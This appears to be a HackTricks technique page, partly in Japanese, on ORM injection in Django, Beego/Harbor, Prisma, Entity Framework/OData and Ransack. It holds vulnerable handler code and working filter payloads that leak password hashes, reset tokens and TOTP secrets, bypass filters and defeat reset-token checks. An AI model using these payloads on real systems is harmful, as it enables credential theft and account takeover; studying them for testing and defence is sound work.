ORM Injection

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Django ORM (Python)

In this post is explained how it’s possible to make a Django ORM vulnerable by using for example a code like:

class ArticleView(APIView):
"""
Some basic API view that users send requests to for
searching for articles
"""
def post(self, request: Request, format=None):
try:
            articles = Article.objects.filter(**request.data)
            serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)

Note how all the request.data (which will be a json) is directly passed to filter objects from the database. An attacker could send unexpected filters in order to leak more data than expected from it.

Examples:

  • Login: 単純なログイン処理で、登録ユーザーのパスワードを leak しようとする。
{
"username": "admin",
"password_startswith": "a"
}

Caution

パスワードはbrute-forceで総当たりして、leakedするまで推測可能です。

  • Relational filtering: リレーションを辿って、操作で使用されるとは想定されていなかったカラムから情報をleakすることが可能です。例えば、以下の関係で記事をleakできる場合: Article(created_by) -[1..1]-> Author (user) -[1..1]-> User(password).
{
"created_by__user__password__contains": "pass"
}

Caution

記事を作成したすべてのユーザーのpasswordを見つけることが可能です

  • 多対多リレーションのフィルタリング: 前の例では、記事を作成していないユーザーのpasswordsを見つけることはできませんでした。しかし、別のリレーションシップを辿ることでこれが可能です。例えば: Article(created_by) -[1..1]-> Author(departments) -[0..*]-> Department(employees) -[0..*]-> Author(user) -[1..1]-> User(password).
{
"created_by__departments__employees__user_startswith": "admi"
}

Caution

この場合、記事を作成した users の departments 内のすべての users を見つけ、そしてそれらの passwords を leak することができます(前の json では usernames のみを leak していましたが、その後 passwords を leak することも可能です)。

  • Abusing Django Group and Permission many-to-may relations with users: さらに、AbstractUser モデルは Django で users を生成するために使用され、デフォルトでこのモデルは Permission および Group テーブルといくつかの many-to-many リレーションを持ちます。これは基本的に、ある user が同じ group に属しているか同じ permission を共有している場合に、ある user から他の users にアクセスするためのデフォルトの方法です。
# By users in the same group
created_by__user__groups__user__password

# By users with the same permission
created_by__user__user_permissions__user__password
  • Bypass filter restrictions: 同じブログ記事では articles = Article.objects.filter(is_secret=False, **request.data) のようなフィルタのバイパス方法が提案されていました。is_secret=True の記事を dump することが可能です。リレーションシップから Article テーブルにループバックできるため、結果が結合されている関係上、is_secret フィールドは非 secret 記事でチェックされる一方、データは secret 記事から leak されます。
Article.objects.filter(is_secret=False, categories__articles__id=2)

Caution

リレーションを悪用すると、表示されるデータを保護するためのフィルタさえ迂回できる可能性があります。

  • Error/Time based via ReDoS: 前の例では、フィルタが機能したかどうかで応答が変わることを期待し、それをoracleとして利用していました。しかし、データベース側で何らかの処理が行われて応答が常に同じになる場合もあります。このようなシナリオでは、データベースエラーを発生させて新たなoracleを得ることが可能になる場合があります。
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}

// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}

同じ投稿のこのベクターに関する記述:

  • SQLite: デフォルトでは regexp 演算子を持たない(サードパーティ製の拡張をロードする必要がある)
  • PostgreSQL: デフォルトの正規表現タイムアウトはなく、バックトラッキングが発生しにくい
  • MariaDB: 正規表現タイムアウトを持たない

Beego ORM (Go) & Harbor Filter Oracles

Beego は Django の field__operator DSL を踏襲しているため、ユーザーが QuerySeter.Filter() の第一引数を制御できるハンドラは、リレーションの全グラフを露出させてしまう:

qs := o.QueryTable("articles")
qs = qs.Filter(filterExpression, filterValue) // attacker controls key + operator

Requests such as /search?filter=created_by__user__password__icontains=pbkdf can pivot through foreign keys exactly like the Django primitives above. Harbor’s q helper parsed user input into Beego filters, so low-privileged users could probe secrets by watching list responses:

  • GET /api/v2.0/users?q=password=~$argon2id$ → 任意の hash が $argon2id$ を含むかどうかを判別する。
  • GET /api/v2.0/users?q=salt=~abc → salt の部分文字列を leak する。

Counting returned rows, observing pagination metadata, or comparing response lengths gives an oracle to brute-force entire hashes, salts, and TOTP seeds.

Bypassing Harbor’s patches with parseExprs

Harbor attempted to protect sensitive fields by tagging them with filter:"false" and validating only the first segment of the expression:

k := strings.SplitN(key, orm.ExprSep, 2)[0]
if _, ok := meta.Filterable(k); !ok { continue }
qs = qs.Filter(key, value)

Beego の内部 parseExprs__ 区切りの各セグメントを走査し、現在のセグメントがリレーションで ない 場合、単純にターゲットフィールドを次のセグメントで上書きします。そのため、email__password__startswith=foo のようなペイロードは Harbor の Filterable(email)=true チェックを通過しますが、password__startswith=foo として実行され、拒否リストを回避します。

v2.13.1 はキーを単一のセパレータに制限しましたが、Harbor の独自の fuzzy-match ビルダーは検証後にオペレーターを付加します: q=email__password=~abcFilter("email__password__icontains", "abc")。ORM はこれを再び password__icontains と解釈します。最初の __ コンポーネントのみを検査する、またはリクエストパイプラインの後でオペレーターを追加する Beego アプリは、同じ上書きプリミティブに対して依然として脆弱で、blind leak oracles として悪用され続ける可能性があります。

Prisma ORM (NodeJS)

以下は この投稿から抽出したトリック です。

  • Full find control:
const app = express();

app.use(express.json());

app.post('/articles/verybad', async (req, res) => {
try {
// Attacker has full control of all prisma options
        const posts = await prisma.article.findMany(req.body.filter)
        res.json(posts);
} catch (error) {
res.json([]);
}
});

リクエストの JavaScript ボディ全体が prisma に渡され、クエリ実行に使われていることが確認できます。

元の投稿の例では、これにより誰かが作成したすべての posts(各 post は誰かによって作成される)をチェックし、その誰かのユーザー情報(username、password…)も返します。

{
"filter": {
"include": {
"createdBy": true
}
}
}

// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]

以下のクエリは、パスワードを持つ人物が作成したすべての投稿を選択し、パスワードを返します:

{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}

// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
  • where句を完全に制御:

攻撃者がwhere句を制御できる箇所を見てみましょう:

app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
            where: req.query.filter as any // Vulnerable to ORM Leaks
        })
res.json(posts);
} catch (error) {
res.json([]);
}
});

ユーザーのパスワードを直接フィルタリングすることができます:

await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas",
},
},
},
})

Caution

startsWith のような操作を使用すると、情報を漏らす可能性があります。

  • 多対多リレーショナルフィルタリングによるフィルタ回避:
app.post("/articles", async (req, res) => {
try {
const query = req.body.query
query.published = true
const posts = await prisma.article.findMany({ where: query })
res.json(posts)
} catch (error) {
res.json([])
}
})

Category -[*..*]-> Article 間の多対多のリレーションシップをループバックすることで、未公開の記事を leak できます:

{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}

ループバックする多対多の関係を悪用して、すべてのユーザーを leak することも可能です:

{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
  • Error/Timed queries: 元の投稿では、time based payload を用いて情報を leak するための最適な payload を見つける目的で実施された非常に詳細なテスト群が掲載されています。以下の通りです:
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}

Where the {CONTAINS_LIST} is a list with 1000 strings to make sure the response is delayed when the correct leak is found.

where フィルタにおける型の混同 (operator injection)

Prisma のクエリ API はプリミティブ値またはオペレーターオブジェクトのいずれかを受け取ります。ハンドラーがリクエストボディを単純な文字列と仮定してそれをそのまま where に渡すと、攻撃者はオペレーターを認証フローに紛れ込ませて token チェックをバイパスできます。

const user = await prisma.user.findFirstOrThrow({
where: { resetToken: req.body.resetToken as string }
})

Common coercion vectors:

  • JSON body (default express.json()): {"resetToken":{"not":"E"},"password":"newpass"} ⇒ トークンが E ではないすべてのユーザにマッチする。
  • URL-encoded body with extended: true: resetToken[not]=E&password=newpass は同じオブジェクトになる。
  • Query string in Express <5 or with extended parsers: /reset?resetToken[contains]=argon2 はサブストリング一致をleaksする。
  • cookie-parser JSON cookies: Cookie: resetToken=j:{"startsWith":"0x"} — クッキーが Prisma に転送される場合。

Prisma が { resetToken: { not: ... } }{ contains: ... }{ startsWith: ... } 等を容易に評価するため、秘密(reset tokens, API keys, magic links)に対する等価チェックは、秘密を知らなくても成立する述語に拡張できる。これをリレーショナルフィルター(createdBy)と組み合わせて被害者を選べる。

Look for flows where:

  • Request schemas aren’t enforced, so nested objects survive deserialization.
  • Extended body/query parsers stay enabled and accept bracket syntax.
  • Handlers forward user JSON directly into Prisma instead of mapping onto allow-listed fields/operators.

Entity Framework & OData Filter Leaks

Reflection-based text helpers leak secrets

Microsoft TextFilter helper が leaks に悪用される ```csharp IQueryable TextFilter(IQueryable source, string term) { var stringProperties = typeof(T).GetProperties().Where(p => p.PropertyType == typeof(string)); if (!stringProperties.Any()) { return source; } var containsMethod = typeof(string).GetMethod("Contains", new[] { typeof(string) }); var prm = Expression.Parameter(typeof(T)); var body = stringProperties .Select(prop => Expression.Call(Expression.Property(prm, prop), containsMethod!, Expression.Constant(term))) .Aggregate(Expression.OrElse); return source.Where(Expression.Lambda>(body, prm)); } ```

すべての文字列プロパティを列挙してそれらを .Contains(term) でラップするヘルパーは、エンドポイントを呼び出せる任意のユーザーに passwords、API tokens、salts、TOTP secrets を事実上露呈させてしまいます。Directus CVE-2025-64748 は、directus_users search エンドポイントが生成された LIKE 述語に tokentfa_secret を含め、結果件数を leak oracle に変えた実例です。

OData 比較オラクル

ASP.NET OData コントローラはしばしば IQueryable<T> を返し、$filter を許可します。contains のような関数が無効化されている場合でも、EDM がプロパティを公開している限り、攻撃者はそのプロパティに対して比較を行うことができます:

GET /odata/Articles?$filter=CreatedBy/TfaSecret ge 'M'&$top=1
GET /odata/Articles?$filter=CreatedBy/TfaSecret lt 'M'&$top=1

結果の存在・非存在(またはページネーションのメタデータ)だけで、データベースの照合順序に従って各文字を二分探索できます。ナビゲーションプロパティ (CreatedBy/Token, CreatedBy/User/Password) は Django/Beego に似たリレーショナルなピボットを可能にするため、機密フィールドを露出するかプロパティごとの拒否リストを省略する任意の EDM は簡単に狙われます。

ユーザー文字列を ORM 演算子に翻訳するライブラリやミドルウェア(例: Entity Framework dynamic LINQ helpers, Prisma/Sequelize wrappers)は、厳格なフィールド/演算子の許可リストを実装していない限り高リスクのシンクとして扱うべきです。

Ransack (Ruby)

These tricks where この投稿で見つかりました.

Tip

Ransack 4.0.0.0 は検索可能な属性と関連に対して明示的な許可リストの使用を強制するようになりました。

脆弱な例:

def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end

クエリが攻撃者によって送信されたパラメータによってどのように定義されるかに注意してください。例えば次のようにしてリセットトークンを brute-force することが可能でした:

GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...

By brute-forcing と場合によってはリレーションを利用することで、データベースからより多くのデータを leak することが可能だった。

照合順序に配慮した leak 戦略

文字列比較はデータベースの照合順序を継承するため、leak オラクルはバックエンドが文字をどのように並べるかに基づいて設計する必要がある:

  • デフォルトの MariaDB/MySQL/SQLite/MSSQL の照合順序はしばしば大文字小文字を区別しないため、LIKE/=aA を区別できません。秘密の大文字小文字が重要な場合は、大文字小文字を区別する演算子(regex/GLOB/BINARY)を使用してください。
  • Prisma と Entity Framework はデータベースの並び順を反映します。MSSQL の SQL_Latin1_General_CP1_CI_AS のような照合順序は句読点を数字や文字より前に配置するため、二分探索プローブは生の ASCII バイト順ではなくその照合順序に従う必要があります。
  • SQLite の LIKE はカスタム照合順序が登録されていない限り大文字小文字を区別しないため、Django/Beego の leak では大文字小文字を区別するトークンを回復するために __regex 条件式が必要になることがあります。

ペイロードを実際の照合順序に合わせて調整することで、無駄なプローブを避け、自動化された部分文字列/二分探索攻撃の速度を大幅に向上させます。

参考

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする